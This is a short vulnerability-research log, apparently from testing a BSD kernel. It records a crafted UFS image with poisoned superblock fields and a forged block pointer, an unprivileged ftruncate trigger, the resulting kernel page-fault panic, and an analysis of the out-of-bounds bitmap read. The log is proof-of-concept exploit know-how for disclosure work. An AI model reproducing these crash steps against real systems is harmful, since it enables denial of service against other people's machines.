DF-3232 run 1 — BNO=16000 (unprivileged ftruncate on fragshift=0 mount)
=========================================================================
[root setup] ... poison: fs_fragshift 3 -> 0, fs_fpg 45056 -> 131072
[*] ino 3: ... before: mode=100666 nlink=1 size=8192 db0=1376
[*] after : db0=16000 size=8192 — ftruncate() will free this block via ffs_setblock(h=16000>>fragshift)
/dev/vn0 on /mnt (ufs, local)
[*] crafted image mounted; BNO=16000; trigger as maxx: /tmp/trig3232 /mnt/victim

$ ssh dfbsd-maxx /tmp/trig3232 /mnt/victim
[*] trigger: uid=1001 file=/mnt/victim (open+ftruncate(0)+sync)
<hang — guest entered kernel debugger; ssh never returns>

$ vm.sh status => down
$ vm.sh log (see panic.txt for the full console tail):
Fatal trap 12: page fault while in kernel mode
cpuid = 4; lapic id = 4
fault virtual address	= 0xfffff800539fa4dc
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff809100a9
current process		= 1115
kernel: type 12 trap, code=0
Stopped at      ffs_isfreeblock+0x19:   cmpb    $0,(%rsi,%rdx,1)

Analysis: fault VA 0xfffff800539fa4dc = b_data(0xfffff800539f6000) + 0x44DC
(= 17628 = cg_freeoff 1628 + forged bitmap index 16000).  The 8192-byte cg
buffer maps only 0x2000 bytes; cp[16000] read ~9.4 KB past its end, into the
unmapped remainder of the buffer's MAXBSIZE KVA reservation -> fatal trap.
The stock index (16000 >> 3 = 2000 -> b_data+3628) is well inside the buffer.